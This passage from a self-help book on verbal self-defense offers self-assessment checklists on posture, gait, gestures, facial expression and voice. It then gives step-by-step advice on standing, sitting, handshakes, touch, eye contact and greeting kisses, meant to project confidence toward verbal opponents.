may now become aware of them and begin the journey of changing or modifying the negative aspects.
The more you can do to change yourself for the better, the stronger and more powerful you will be in fighting
any verbal battle. Following is a sample chart you can fill out to help you learn how people perceive you. You
can compare this chart by first writing down how you perceive yourself and see if it is in harmony with what
others think of you. If your comments about yourself are widely different from others' comments, this may be a
good reality check for you. It may help you modify or amplify your actions or the way you present yourself.
I See Myself As…
Positive Traits
Negative Traits
1. ____________________ ____________________
2. ____________________ ____________________
continues
Page 64
continued
3. ____________________
____________________
4. ____________________ ____________________
5. ____________________ ____________________
6. ____________________ ____________________
7. ____________________ ____________________
8. ____________________ ____________________
9. ____________________ ____________________
10. ____________________ ____________________
Family and Relatives Think I Am…
Name
Comments
1. ____________________ ____________________
2. ____________________ ____________________
3. ____________________ ____________________
4. ____________________ ____________________
5. ____________________ ____________________
6. ____________________ ____________________
7. ____________________ ____________________
8. ____________________ ____________________
9. ____________________ ____________________
10. ____________________ ____________________
Now repeat this same chart noting the opinions of close friends, acquaintances, professionals (doctors,
attorneys, dentists, teachers), and business colleagues.
Consensus of Opinion of Other's Comments About You
Positive Consensus
Negative Consensus
1. Family
2. Close Friends
3. Acquaintances
4. Professionals
5. Business Colleagues and
Employers
General Overall Comment about How Others Perceive Me…
_____________________________________________
_____________________________________________
Page 65
General Overall Comment about How I Perceive Myself…
_____________________________________________
_____________________________________________
Equipment You Need to Objectively Examine Yourself
Before you fight any verbal battles, you need to look at yourself very objectively. You need to get emotionally
naked and put your ego into your back pocket. You need to step outside yourself and pretend that you are
looking at a person other than yourself. Try to look at this person (you) in the same manner as others may be
viewing and perceiving this person.
Besides having an objective mind, you need a mirror, preferably full-length (together with an audiotape or a
video camera), where you can see yourself soon after you are visually recorded. Both the mirror and audiotape
or videotape are ideal devices for observing yourself and keeping a record of the significant changes you make
as you learn new and powerful skills to help yourself in your verbal battles. You will be able to see and hear
the progress you made from the time you first examined or recorded yourself as part of the exercises in this
chapter, to how you are coming across now and in the future.
Mirror, Mirror on the Wall.
Walk up to a full-length mirror and examine the person standing there—you! Observe yourself walking to the
mirror. Now stand in front of the mirror as you usually stand and look at that person in front of you. As silly as
it seems, turn a tape recorder on next to you and talk to a person who is in the room with you. Explain what you
are doing so that the person won't think you have gone nuts. If there is no one there, get on the speaker phone
(if you have one) so that your head won't be cocked against the receiver as you are speaking and listening to the
person on the other line. If your phone isn't next to your full-length mirror, just look in the mirror and start
speaking. Ask yourself some questions.
Talk to the “you” in the mirror as you record yourself on the tape recorder. Ask the “you” questions in the
second person perspective. For example, don't ask “What did I do today?” but “What did you do today?”
If you don't know what to say, the “Talk Back!” section that follows has some suggestions you can discuss with
yourself. Talk to yourself while standing up and then while sitting down in a chair.
Page 66
Perhaps you can ask yourself half of the questions in the “Talk Back!” section while standing and the other half
while sitting.
Here are several topics to discuss with yourself in the mirror or on audiotape or videotape:
1. What was the greatest experience of your life?
2. What are your plans for this week and next week?
3. What would be your innermost fantasy for an ideal life?
4. Who are the three people who have most influenced your life, and how did they do it?
5. Describe your ideal mate.
6. Describe an event in detail that you would like to relive.
No Lies on Videotape
Even though the lighting may not be the best, you can still get true representation of how you come across. Use
the same techniques that were suggested in the preceding section, “Mirror, Mirror on the Wall.” Make sure that
when you videotape yourself standing up and then sitting down, the camera lens is adjusted appropriately. If
you want to have a conversation on videotape with another person in the room, make sure that they are not
shown in the video by appropriately adjusting the camera.
When you play back the videotape to objectively examine yourself, it is best to do it alone, so that nobody can
influence or contribute to your analysis. For example, you don't want to objectively observe that your shoulders
may be rounded when you stand, then have the other person discount your self-analysis by saying something
like, “I don't think they are so rounded.”
Record a Call
Electronics stores sell special tape recorders that enable you to record your telephone conversation with
someone else and play it back later. In many states it is a crime to tape record a conversation without telling the
other person. If this is the case in your state, let the person know that the call is being taped so that you can
examine how you come across on the phone. Assure your partner that the conversation won't be used for any
purpose other than your own self-analysis, and that the other person's voice and taped comments won't be
analyzed or given to anyone else.
Another way to get the tape recording done is to tape your side of the conversation via an external tape
Page 67
recorder. Make certain that the recorder is located not too far away from you, so that you get a more accurate
reading of the way your voice sounds.
A Picture Says a Thousand Words
Sometimes you can determine a lot about the way you come across (for example, your facial expressions and
your sitting and standing posture) from photographs.
The reason many people don't like how they look in photos is that there is something about the photos that
doesn't present them in the best light. Aside from certain people photographing better than others because of
the angles of certain facial features or the way their bodies are positioned, most people know that something
about the photos—they don't know what—reflects something negative about them.
On careful inspection of this matter, I did a small study in which I asked people to look at photos of themselves
taken over time to determine whether they could spot a pattern in the way they sat, stood, or in the way they
presented themselves facially.
To get a clearer perception of people's posture and facial expression, I had them show me some photos of
themselves from different times in their lives. Those who consistently hated their photos regardless of when the
pictures were taken said that they just didn't like the way they looked. When I further analyzed their photos, I
could see that their posture and their facial expression (a consistently tense smile or serious frown, for
example) may have contributed to their negative views of themselves. They also may not have liked the way
they looked because of poor self-esteem.
Getting Emotionally Naked
Before you step into your verbal battle gear, you need to shed your previous ego armor. Your first step in
removing this armor was established when you found out how people in your world looked at you.
Page 68
Now is the time to objectively look at yourself and listen to yourself, warts and all. It may be uncomfortable at
first, largely because you've never done it before.
Know that after you analyze your body language, facial language, the way you speak, and what you say, and
when you learn how to rectify and difficulty you may be having in any of those areas, you are well on your way
to having all of your equipment intact. This gives you the proper verbal ammunition to charge forward and
defend yourself against any verbal vultures.
Stand Up and Walk the Walk!
It is well documented that if a person stands and walks like a victim, he will be perceived as weak and helpless.
This is why statistics show that the person projecting this weak image is more likely to be victimized in a
robbery or assault than the person who stands and walks with a confident gait. These individuals project a
“don't mess with me” attitude that usually deters the criminal.
Having a posture and walk reflecting only self-assuredness are extremely vital to your victory in the verbal
battleground.
The Stance of Power.
“Strand up straight!” “Don't hunch your shoulders!” “Keep your head up!”
Sound familiar? Most of our parents repeated these mantras. Those who took heed have excellent postures
today, while those who didn't have carried poor postural habits into their teens and into adulthood.
Because posture is the first thing people see, it is one of the key components to reflect how others who don't
know you will initially treat you. If you don't stand straight, giving the impression of self-respect, they may not
initially treat you as respectfully as they would someone with better posture.
Perceptual psychosocial studies confirm this. One hundred people were shown photos of people with their head
hanging down, rounded shoulders, and stomachs out, while others were shown photos of people with their
heads up, shoulders squared and back, and their stomach in. Poor postured people were perceived as less
popular, more nerdy, less exciting, less ambitious, and less physically attractive than their straight-postured
counterparts.
Look in the mirror or at the videotape of yourself. Now answer “yes” or “no” to the following questions:

Page 69
Posture Evaluation
1. Is your posture stiff and rigid?
2. Is your posture too relaxed or loose?
3. Is your back hunched over?
4. Do you rock back and forth or are you unable to stand still?
5. Do you stand on one leg instead of two?
The next two questions cannot be answered by observing yourself in the mirror or on video. Therefore, think
back to social or business situations you have been involved in when answering them.
6. Do people move away from you when you speak to them because you stand too close?
7. Do people move closer to you because you sit or stand so far away?
If you answered “yes” to any of these questions, you need all the help you can get. Help with your posture
appears in Chapter 6.
Those with stiff and rigid postures are perceived as being uptight and inflexible, cold and distant—not warm
and inviting. These people tend to alienate others, who find them unapproachable and difficult to communicate
with.
While it is great to have a relaxed and inviting stance that indicates self-confidence, a posture that is too loose
or over-relaxed is perceived as being sloppy and unconfident. It is alienating—who wants to be around a slob
who is overly comfortable around you, even if they just met you?
Rocking back and forth is perceived as impatience or anxiousness to leave the scene. It makes others
uncomfortable because your constant movements often contribute to their loss of focus and concentration.
Thus, they find it very difficult to talk to you. Other, more compassionate individuals are also uncomfortable
and may lose their train of thought around you as they empathize with your anxious need to go to the bathroom
or get a drink.
Unless you are a flamingo living in Miami or you are physically challenged and posses only one leg, standing
on one leg is highly distracting. You are perceived as being in pain from an injured leg. Instead of thinking
about the conversation you are engaged in, the other person is wondering what happened to your leg. People
perceive you as immature, because children usually present this stance when talking to others, especially when

Page 70
they are uncomfortable around that person. Others may also perceive you as being not attuned to the present
situation, or too casual. Having others perceive you in this manner does not elicit trust and confidence in you.
Standing too close to someone, especially if there is not a mutual love connection, makes people uncomfortable
for a number of reasons. First, they may become conscious of their possible bad breath or be repelled by your
breath or body odor. Secondly, they may shrink back because they don't want you to get the impression that
they are interested in you. They may perceive you as having a lot of nerve or “chutzpah” as you dare to invade
their precious space. Remember that in some cultures people stand closer to one another than is comfortable for
Westerners.
If someone stands too far away they are perceived as not liking you or being arrogant, snobby, or feeling as
though they are better than you. Even if you have a visual problem and can see people clearly only from a
distance, no one cares. They still perceive you in a bad light, so move closer!
The Walk of Authority
Videotape yourself walking, or have a friend watch you walk up and down a hallway or across a room. Then
answer the following questions.
1. Do you swish and sway when you walk?
2. Do you have a rigid walk, like a soldier?
3. Do you make a lot of noise when you walk?
4. Do you shuffle your feet when you walk?
5. Do you have a tentative, quiet walk?
6. Do you walk too slowly?
7. Do you walk too quickly?
Swishing and swaying while walking has a sexual, seductive connotation. This highly feminine walk may be
off-putting to those who are not interested in you sexually.
A rigid, soldier-like march portrays an uptight, alienating, and angry disposition.
People who make a lot of noise when they walk often give the impression of being obnoxious and craving
attention. Shufflers are perceived as lazy or insecure or sad and depressed. One who walks too fast appears
angry or anxious (always in a hurry). Fast walkers sometimes seem obnoxious, especially if you are walking
next to them and they sprint ahead of you. If a man does this to a woman in Western culture, he is
Page 71
perceived as insensitive, chauvinistic, and obnoxious. (Of course, be aware that some people have good reasons
for walking quickly. For instance, in the workplace, seeing your boss dash frantically may be a sign not that
she's rude but that she overslept for her big sales meeting!)
I Have to Hand It to You
Answer the following questions about your arm and hand movements.
1. Are your arms crossed when you speak?
2. Do your hands and arms flail around when you speak?
3. Do you usually wonder what to do with your hands?
4. Do you use minimal or no hand movement when you speak?
5. Do you use your hands a lot when you speak?
6. Do you always seem to be fidgeting with your hands?
7. Do you feel compelled to touch everything or everyone in front of you, even if they don't belong to you?
Crossing your arms has other connotations besides being closed off to others. It may be perceived as anger and
alienation and disinterest in what the other person is saying.
Arm flailers, unless they belong to a culture where this is the norm, come across as angry and hostile. Those
who don't know what to do with their hands are perceived as being uncultured, unsophis-ticated, and insecure.
Those who constantly fidget with their hands are perceived as nervous or anxious. Those who touch everything
around them are perceived as annoying, unconscious, unaware, invasive, rude, and out of control.
Dead Head?
Watch yourself from the neck up and answer these nagging noggin questions.
1. Do you stick your neck and jaw out when you speak?
2. Is your head usually tilted down when you speak?
3. Do you cock your head to the right or left side when you speak?
4. Do you turn your head just a little when speaking to someone, while keeping your body in a different
position (usually straight forward) from your head?
5. Do you constantly nod your head “yes” or “no” when you speak?
Page 72
When you stick your neck and jaw forward when speaking or listening, you are perceived as being angry. A
downward-tilted head spells insecurity, a lack of confidence, and unworthiness. Cocking the head to one side
looks like you doubt what the other person has said. It signifies a contentious and suspicious person with an
attitude of “I don't believe you—show me.”
Turning your head and not your body when talking to a person indicates that you are subconsciously keeping
your distance from them. They perceive you as not liking or accepting them.
Unless you are from another culture, you either have a neuromotor problem or are very suspicious and doubtful
about what others say to you. You are perceived as negative and unaccepting or disagreeable. Concurrently, if
you nod your head “yes” all the time you are speaking to a person, you appear overly agreeable or as if you are
seeking approval by giving unmitigated approval to the person to whom you are speaking.
About Face!
Often your facial expressions reflect your feelings more than the words you use. Even though our six basic
emotions—happiness, sadness, anger, disgust, surprise, and fear—are reflected through the face, sometimes we
may make inappropriate facial gestures, which confuse the listener and detract from the message we are trying
to relay.
An exaggerated facial expression can change your facial appearance from attractive to ugly. For example, one
noted singer looks very attractive when she sings. When she speaks, however, it is a different story. It is rather
disconcerting. Her mouth goes from side to side in a camel-like fashion. In addition to her rapid-fire, hostilesounding
speech pattern, she squints her eyes and furrows her brow, which is perceived as anger and disgust.
This particular woman is interested in making the transition from singing to acting. But she has a lot of work to
do in terms of controlling and modifying her inappropriate and unaesthetic facial expressions before she hits
the big screen (or the little screen, for that matter).
When you wear an incongruous facial expression, people get angry or turned off with you and perceive you as
being “weird” or “disconnected” or “not with it.” They may also misinterpret your message, as in the case of
this successful singer.
As you observe yourself in the mirror or on videotape, answer these questions while paying attention to your
facial expressions:
1. Do you mainly seem to have a dull or bored expression when you speak?
2. Do you look angry when you speak, even though you aren't?
3. Do you look sad when you speak, even when you are talking about pleasant things?

Page 73
4. Is your normal facial expression tense with your muscles showing when you speak?
If you answered “yes” to any of these questions, help is on the way in Chapter 6. Since the eyes and mouth are
key elements of your facial language, go back and answer the questions “yes” or “no” as they pertain to your
eyes and mouth.
Eye Deal
For centuries people have said, “the eyes are the windows to the soul.” Therefore, people can tell a lot about
how to deal with you by observing what you do with your eyes.
1. Do you often squint when you speak—furrowing your forehead or knitting your eyebrows together?
2. Do you often open your eyes widely when you speak?
3. Do you look off to the side when speaking?
4. Do your eyes dart around the room when speaking?
5. Do you look people up and down when you talk to them?
6. Are your eyes dull and lifeless?
7. Do you stare?
8. Do you blink too much?
Is Your Mouth Goin' South?
If you don't observe these behaviors in the mirror or on your video, try to recall if you exhibit any of these
actions:
1. Do you usually speak jutting your jaw forward, creating an angry look?
2. Do you move your mouth from side to side when you speak?
3. Do you avoid looking at people when you speak to them?
Page 74
4. Are your lips tense or do you have a strained, pinched smile?
5. Do you have a mask-like smile?
6. Do you curl your upper lip when you speak?
7. Do you hang your mouth open or even drool when listening?
8. Do you spray saliva when speaking?
9. Is there spittle on the corners of your mouth when you speak?
10. Do you clench your jaw when you speak or speak through your teeth, barely opening you mouth?
11. Do you often bite your lips or cheeks?
12. Do you exaggerate your mouth movements when you speak, giving the perception that you have a big
mouth?
13. Do you purse your lips together before or after you make a statement?
14. Do you smack your lips before or after you speak?
Air Born
Believe it or not, the way you breathe can annoy others. If you don't coordinate your breathing with your
talking in an appropriate manner, it may disturb and distract the listener.
1. Do you sound breathy when you speak?
2. Are you out of breath after you speak?
3. Do you take in many little breaths when you speak?
4. Do you sigh, or let out all your air before you speak?
5. Do you sigh, taking in air and abruptly pushing it out when you speak?
Ouch! My Ears Hurt Listening to You!
Research has shown that the way you speak is even more important than the way you look. In fact, the way you
speak can affect how you look. Perhaps you have experienced this firsthand. At least once, you have probably
seen someone who you found attractive, then, after speaking with that person, suddenly decided that he or she
wasn't as attractive as you originally thought. Conversely, as research shows, if a person isn't very attractive but
speaks well, that person is perceived as being more attractive.
Page 75
The way you speak is composed of the pitch of your voice, the quality of your sound, the way you pronounce
things, whether you sound too soft or too loud, how fast you speak, how nasal or non-nasal you are, and how
you communicate. If you answer “yes” in any of the questions in the following categories, you should know
that people are usually not perceiving you in the best light. Just know, however, that your ill-judged talking
traits can be fixed in Chapter 6.
Pitching Your Voice
1. Is your voice too high?
2. Is your voice too low?
3. Do you sound bored or monotonous?
4. Is your speech overly animated or highly dramatic?
5. Are people usually bored or lulled to sleep when you speak?
6. Do you have a squeaky voice?
It's Quality We're After!
1. Does your voice sound breathy?
2. Does your voice sound harsh?
3. Do you attack your sounds when you speak?
4. Do you have a staccato, clipped, machine-gun like pattern when you speak?
5. Do you dislike the sound of your voice?
6. Does your voice sound creaky or crackling, often at the end of sentences?
7. Do you clear your throat before you speak?
8. Is your voice rough and gravely?
9. Does your voice often sound hoarse?

Page 76
Twisting Your Tongue
1. Are you often asked to repeat what you said?
2. Do you often mispronounce words?
3. Do you mumble?
4. Do you repeat sounds, especially at the beginning of words?
5. Do you mispronounce s, z, ch, j, or sh sounds?
6. Do you mispronounce r or l sounds?
7. Do you distort your vowels?
8. Do people often ask you to repeat what you've said due to your accent?
Pump Up the Volume! Drown the Sound!
1. Is your voice loud and booming?
2. Is your voice too soft, prompting people to ask you to speak up?
3. Does your voice fade out at the end of sentences?
4. Do you have bursts of loudness, especially at the beginning of a sentence?
5. Do you have a loud and disturbing laugh?
6. Do you raise your voice at the slightest provocation or when you disagree?
How Fast Were You Going?
1. Do you speak too quickly, so that people ask you to repeat yourself?
2. Do you sound slow and lethargic?
3. Do you pause too long when starting a new thought?
4. Do you not stop after finishing a thought, immediately going on to the next?
The Nose Knows.
1. Do you sound nasal and whiny where there is a vibration or twang in your nose when you speak?
2. Do you sound stuffed up most of the time, as though you have a cold?
Are You Talking to Me?
1. Do you repeat yourself?
2. Do you repeat words?
3. Do you often find that you can't think of words?

Page 77
4. Do you say one thing and mean another?
5. Is it hard to express what you think?
6. Do you often keep your mouth shut for fear of sounding stupid?
7. Do you often say “I don't know” when asked questions?
8. Is your vocabulary limited and do you not understand the meanings of words?
9. Do you often use words in the wrong context?
10. Do you use improper grammar?
11. Do you always seem to forget what you were going to say?
12. Do you often interrupt others, not allowing them to finish a thought?
13. Do you change the topic midstream?
14. Do you often ignore a question, dismissing the topic someone else brings up?
15. Do you often say self-deprecating things to others?
16. Are you usually saying something negative, especially about others?
17. Do you often put your foot in your mouth?
18. Do you joke around, never serious, or make sarcastic comments?
19. Are you blunt and undiplomatic?
20. Do you usually give one-word responses instead of opening up?
21. Are you overly opinionated—“my way or the highway”?
Page 79
Chapter 6
Gaining the Physical Edge
When you fix yourself on the outside, the inside usually follows. I have seen this repeatedly in my private
practice. While serving as a communication specialist in my Beverly Hills and Manhattan offices, I discovered
that when people learn how to properly comport themselves, they feel more powerful and self-assured. This
newfound sense of confidence gives people the ability to function more effectively and live a fuller and richer
life, with better relationships in business and private life.
In this chapter, you learn exactly what it takes to present yourself to others so you'll be perceived as a
formidable individual. You might even become intimidating to your verbal opponent: you will exude a blinding
presence and a newfound sense of self-confidence, which in turn will boost your self-esteem. When your
opponents experience your powerful presence, they will often think twice before verbally attacking you.
Knowing the actual steps of how to improve the components of your total physical being allows you to win the
verbal war and annihilate your opponent.
Page 80
Postural Defense—Staking Out Your Presence
Because your posture is one of the first things people notice about you, you obviously need to stand up straight.
Many people think they are standing up straight when in fact they aren't; you might have noticed your own
poor posture when analyzing yourself in the mirror or on videotape. This problem is most common with people
who are taller than average. They usually stoop to be at eye level with their shorter counterparts.
If people do this during their formative years of height development, hunching their backs, stooping their
shoulders, and bowing their heads can become their normal stance. As we discussed in Chapter 5, this stance
elicits less confidence in others than standing with shoulders squared, back erect, and head up.
You must follow several steps if you wish to have a posture that exudes confidence and a “don't mess with me”
attitude. By adhering to the following steps, you are well on your way towards looking more powerful when
you are standing in front of someone.
1.
Stand Up Straight, Without a Leg Up!
Stand up straight with your feet spread apart, parallel to your shoulders. Place both feet firmly on the ground so
that your weight is distributed evenly on all parts of your feet. This takes pressure off your toes and the sides
and balls of your feet. In essence, you are firmly standing on the soles of your feet. Don't shift your weight
from leg to leg or shift your weight to only one leg. This throws you off and makes you feel insecure. You want
a “leg up” on your verbally toxic opponent, but don't take this statement literally.
Unless you're flamingo living in Miami, never stand on one leg. You'd be surprised

Page 81
at how many public speakers do this when they are behind a podium. They put their weight on one leg while
holding onto the podium—and they wonder why they don't feel as confident when they are speaking in front of
an audience!
2.
Bottoms Up!
Tighten the muscles in your buttocks (your gluteus maximus muscles) by contracting or squeezing your
muscles, thus applying pressure to your buttocks. At first this might feel awkward, but eventually you will
become used to it and over time, you will begin to feel comfortable. As you exercise and strengthen these
muscles, you will have a solid foundation on which to support your erect spine and newfound confident
posture.
3.
Straighten Up and Back Up!
Next, start at the base of your spine and visualize yourself straightening each vertebrae so that you have a
straight and aligned spine. As you visualize your new correct spinal posture, slightly tighten the small muscles
going from your lower back towards your upper back. When doing so, you will notice that there is a forward
shifting of your upper back that will begin from the middle of your back, around your waist area. This too
might seem awkward at first, but as you practice this spinal position, you will feel less pressure in the muscles
in your upper and lower back region because your spine will be in better alignment.
4.
Heads Up!
Part of attaining a confident posture requires the correct positioning of the head and neck. Pretend that there is
a cord or rope softly pulling up the crown of your head. This will automatically allow your eyes to be
positioned properly as you gaze at another person at “eye level.” It prevents you from protruding your jaw or
sticking your neck out. Most of all, it keeps you from bowing your head or from looking down when speaking
to someone.
Walk Up!
The way you walk is a vital component of the way you comport yourself. Some have angry, aggressive walks
that scream “Here I am” or “Get out of my way.” Others walk in a way that says “Just ignore me” or “I'm not
important.” Some people have a happy bounce, skip, or gallop in their gait, while others seem to shuffle,
waddle, and drag themselves along. The only walk that screams “C-O-N-F-I-D-E-N-C-E” consists of the
following steps.
Page 82
1. Begin with an erect posture, head up, shoulders back, and spine straight.
2. Place one foot directly in front of the other at a comfortable distance so that you have a smooth and even
stride. Even though this may seem obvious and elementary to you, you would be surprised at how many people
don't do this and end up waddling, shuffling, or slinking along.
3. Walk at an even and steady pace—not too fast and not too slowly.
4. Finally, let your arms move freely and swing naturally as you walk.
Sit Up!
Just as it is important to stand properly, it is equally important to sit in a way that exudes self-confidence. The
way you sit in a chair speaks volumes about you, whether you realize it or not. Here are the steps you should
follow to make sure this happens.
1. Stand directly in front of your chair.
2. Let your calves touch the seat of the chair.
3. Bend over, placing your buttocks all the way back in the chair.
4. Sit and lean your back against the back of the chair. By placing your buttocks all the way back in the chair
first, your spine will straighten out automatically as it rests against the back of the chair. Doing this also
prevents you from slouching.
5. Roll your shoulders back and relax your arms, either resting them on the arms of the chair or placing your
hands in your lap.
6. Keep your head up. Visualize a string holding up the crown of your head, just as you did while you were
standing. Once again, this keeps your eyes focused at the eye level of the person opposite you.
7. If you feel yourself retreating to your old slouching ways, just remember to push your buttocks all the way
back in the chair. Lean against the back of the chair and remember to keep the crown of your head up.
Uptight? Lighten Up!
A rigid body posture signifies that a person is uptight, frightened, uncomfortable, nervous, or inflexible. Under
certain circumstances, individuals need to be inflexible and follow a rigid code of behavior. But while the order
“head up, shoulders back, chest out” works well if you are in the military, it doesn't work in real-life
circumstances.
Even when you stand up straight with your shoulders back, you need to maintain a relaxed demeanor. The
following shoulder roll exercise is designed to help you release tension in your shoulder region and arms.
Page 83
1. First, rotate the right shoulder forward, and keep it in that position for approximately three seconds.
2. Keeping your right shoulder in that position, rotate the left shoulder forward for three seconds.
3. Now that both of your shoulders are forward, keep them in this position for about three seconds. Feel the
muscles stretch as you maintain this position. It should feel good.
4. Next, rotate the left shoulder back and keep it in that position for three seconds.
5. Likewise, rotate the right shoulder back, keeping it in that position for three seconds.
6. Now that both shoulders are back, leave them there for three seconds, all the while feeling the stretch. This
too, should feel good.
7. Rotate both shoulders forward and both shoulders backwards. Try not to rotate them too far back, and relax
them.
Now your shoulders are in the proper position to help you maintain a good posture.
Up in Arms!
Your arms should hang at your sides in a relaxed fashion. Although arm and hand gestures are essential for
helping you emphasize thoughts or ideas, too much movement can be distracting: arms flapping like a
chicken's wings and fidgeting with your hands and fingers tend to diminish your total image. As I pointed out
in Chapter 5, people perceive you according to the way you comport yourself. Thus, if you move your arms
excessively and this isn't typical for your culture, you may be perceived as being anxious, uncomfortable, or
even angry or out of control.
Hands Up!
To maintain some control over your gestures, be conscious of your gesturing, and do so only to emphasize key
points or ideas. In doing this, it is important to make definite and deliberate hand movements. When you speak,
keep your hands in your lap or relaxed at your sides, with your fingers relaxed. Doing this tends to relax the
rest of your body.
Of course, this doesn't mean you should sit totally motionless. But the motions you do use should be relaxed.
When you use both your hands and arms in a more fluid and open fashion, you are perceived as being warmer
and more approachable.

Page 84
If you notice that you are using your hands too frequently when you speak, try to be mindful and stop or reduce
your hand movements. Being conscious of doing something to excess can often help you modify that behavior.
If you still don't know what to do with your hands, adopt the hand posture of the royals, who tend to keep their
hands clasped in back of them when they stand or walk. Doing this often suggests to others a sense of security,
control, and self-assuredness.
Shake Up!
You can tell a great deal about people by how they shake your hand. In addition, your handshake can reveal
your true feelings about the other person. The looser and less firm your handshake, the more you will be
perceived as weak, timid, or tentative. All too many men, especially large men, use a soft and wimpy
handshake in an attempt to minimize themselves and not appear so threatening. The other extreme, a handshake
that is too strong or tight, might express the attempt to dominate in the interaction and compete for control.
On the other hand (no pun intended), a firm handshake, lasting about three seconds, indicates self-confidence,
especially when you meet a person for the very first time. In order to shake hands with self-assurance, follow
these steps:
1. Be the first one to extend your hand. Do so enthusiastically.
2. Clasp the others person's palm firmly with your palm so that both of your palms are touching one another.
3. Look directly at the person's face using the “face contact” approach discussed later in this chapter.
4. Give their hand about three firm shakes.
5. Then release your grip.
If you really like the person, especially after you meet and get to know one another, you can convey positive
feelings toward the other person by using the “cupping
Page 85
shake.” For this handshake, cup the other person's hand in both your hands, while placing your left hand over
your right hand.
Touch Up!
Ashley Montagu and other researchers and scholars have found that we humans need to be touched to
adequately survive in the world. In light of sexual harassment suits these days, however, people must be careful
about whom they touch, how they touch, and where they touch someone. A seemingly innocent touch may land
you in a courtroom. Sexual harassment suits aside, touching another person is a positive gesture—it shows
others that you have bonded or connected with them.
Although some people (most likely those who suffer from some type of psychological disturbance) shun being
touched and touching others, research shows that most people enjoy touching and being touched, and they react
better to those who touch them than to those who don't.
Touching can break down barriers between people, especially if tension exists. Here are some rules to follow
when touching someone.
1. Never touch anyone who appears by his facial and body language cues not to welcome your touch.
2. Pay attention to how often you touch someone. Touching a person too much is as disturbing to that person as
not touching at all. Once again, monitor facial expressions to determine if your touching is becoming annoying
to the other person.
3. In business situations, touch people only at the level of the shoulders—never below the shoulders or lower
back.
4. In social or personal situations, feel free to touch a person's face, arms, waist, and wherever else you both
agree is acceptable.
Page 86
Face Up!
Remember how when you were growing up, you were told that you should look into a person's eyes when you
talk to him? You were told that only honest people can look you in the eye.
This is nonsense. In reality, research has shown that people who constantly look you in the eye without
breaking their gaze might not be very honest at all; in fact, they might be lying to you.
You don't need to gaze directly into a person's eyes when you speak to her (unless of course you are in love
with her). Doing so can be disconcerting and might indicate that you are taking a hostile or adversarial position
against the person.
What you need is not just eye contact but “face contact.” If you don't look at the person's entire face along with
specific components of the face, how are you going to read all the facial cues of your verbal adversary or
potentially toxic opponent?
In order to give someone the impression that she has your undivided attention, follow these steps religiously:
1. Look at the person's entire face for approximately two seconds.
2. Next, look at the person's eyes for approximately two seconds.
3. Switch your gaze over to her nose and look at it for two seconds.
4. Now look at the person's mouth for two seconds.
5. Go back to step 1 and look at the person's entire face for approximately two seconds, continuing on to steps
2 to 4.
You need to repeat these steps for as long as you are speaking and listening to the person in front of you.
People will not think you look weird as they notice you looking at their eyes, then their nose, mouth, and entire
face. They won't even notice what you are doing. First, it's only a two-second glance on each of the facial
components. Second, the distance
Page 87
from their eyes to their nose to their lips is minimal. It's not a huge football field you are looking at; it's a
person's little face.
Most likely, in fact, people will perceive you as being really interested in them and in what they are saying.
This technique also tends to soften your gaze, which makes you appear more approachable, more
compassionate, and less intense.
Charming, Disarming Smile.
We have all heard the expression “a smile speaks a thousand words.” It's true. A smile can often disarm the
most verbally belligerent person. Don't be afraid to be the first to smile at the other person. And don't be put off
if they don't return your smile. Many people are so self-consumed or preoccupied that they will not notice you
or your smile.
Don't be reactive to others, just smile sincerely. If you think of all the wonderful things in your life, the people
who really love you and the people whom you really love, you will always have a true and radiant smile; your
eyes will sparkle.
Oftentimes you can use a smile to defuse a verbal zinger that you will have to retort. Somehow, a smile makes
what you are saying a lot less biting and stinging, but also more memorable.
The incongruity of your unpleasant, but strong, words and your soft and pleasant facial expression might throw
your opponent off balance.
Kissin' Up!
In this age of sexual harassment suits, you should think twice about whom you kiss hello or goodbye. Like the
cupped handshake mentioned earlier in this chapter, a kiss—especially a final kiss after a wonderful
interaction—cements a bond and expresses what a special interaction it was. In film, television, or other parts
of the entertainment business, kissing or hugging someone hello or goodbye is the norm. With so many fragile
egos and insecurities, and sad feelings due to constant rejection, hugging and kissing help show biz people feel
good about themselves and closer to the person they are hugging and or kissing.
Many people outside the entertainment industry, however, don't know how to kiss or don't feel comfortable
kissing others as a hello or good-by greeting. These kisses are not as serious as sticking your tongue down a
person's throat. But they're more than a boring flat-lipped light touch of the cheek or the phony socialite “air
kiss.” This is not kissing. A kiss is when you pucker up and actually place your lips on a person's cheek or lips,
create suction, and then release the suction a few seconds later. It may seem ridiculous that I am teaching you
how to kiss someone hello or goodbye, but how you kiss someone can either charm them or disarm them.
Page 88
It's very hard not to let down your guard toward an adversary who comes up to you and kisses you. You might
even end up liking them. Try doing this after a tense conversation or a heated discussion. Give them a buss on
the cheek or a hug, and watch what happens as their tense body and angry face relax.
This is an excellent and very powerful technique to use in the following situations:
• You know someone dislikes you for no good reason that you can think of.
• They're jealous of you.
• You have just been in an adversarial conversation or heated discussion.
You can't help but smile afterwards as you see how love and your positive attitude can diffuse the most
negative energy. That is power! That power contributes to your self-esteem, which in turn translates into selfconfidence.
Slipping Up or Messing Up? It All Adds Up and You End Up…!
You should always be conscious of how you come across. You can't slip up on the little things or you will
certainly mess up everything. Mindfulness is the key. You need to maintain a constant vigil in terms of what
you are doing.
Everything adds up if you want to have the physical advantage over your opponent. You need to have every
component of your physical being working in your favor. Not even one part can be missing. You always need
to be conscious of how you stand, sit, walk, hold your head, look at people, shake their hands, and how you
touch or even kiss them. If you ignore any of these components, you are giving your opponent more of an
upper hand in the war of the words.
Step away from yourself consistently and pretend that you are observing yourself outside of your body or from
above. You can even imagine that there is an angel hovering over you, watching every move you make. Doing
this visualization will make you more conscious of your behavior and comportment and its effect upon others.
Page 89
Page 91
Chapter 7
Gaining the Verbal Advantage
You're at a party. You spot a gorgeous woman or man at the other end of the room. With every ounce of
courage you can muster, you coolly saunter over and flash your radiant smile. Your heart beats wildly, your
head pounding like an African drum. You confidently stick out your hand and introduce yourself. The person
reciprocates with a handshake and an introduction, saying “Hi, I'm ___.” The moment you hear “Hi, I'm ___,”
you don't care who they are. You don't want to know. Your ears are deafened by a high-pitched, sickening tone
that shocks you right back into reality, with your pulse rate returning to normal.
The way a person sounds says it all. Research in psycho-social perception shows that people judge you more
by the way you speak than by the way you look. In fact, people who sound good are judged to be more
intelligent, sexually exciting, and successful, and less likely to commit a crime than their poor-sounding
counterparts.
Those who have poor speaking voices are perceived as weak, defenseless, less intelligent, and more victim-like
than those who don't have this voice.
Research in criminal justice indicates that if one walks like a victim, one is more likely to be victimized. The
same holds true for talking. If one sounds like a victim, one is more likely to be victimized in one's personal
and social life. To verbally defend yourself and have the maximum effect on your verbally abusive opponent,
you have to speak in confident and audible tones.
Page 92
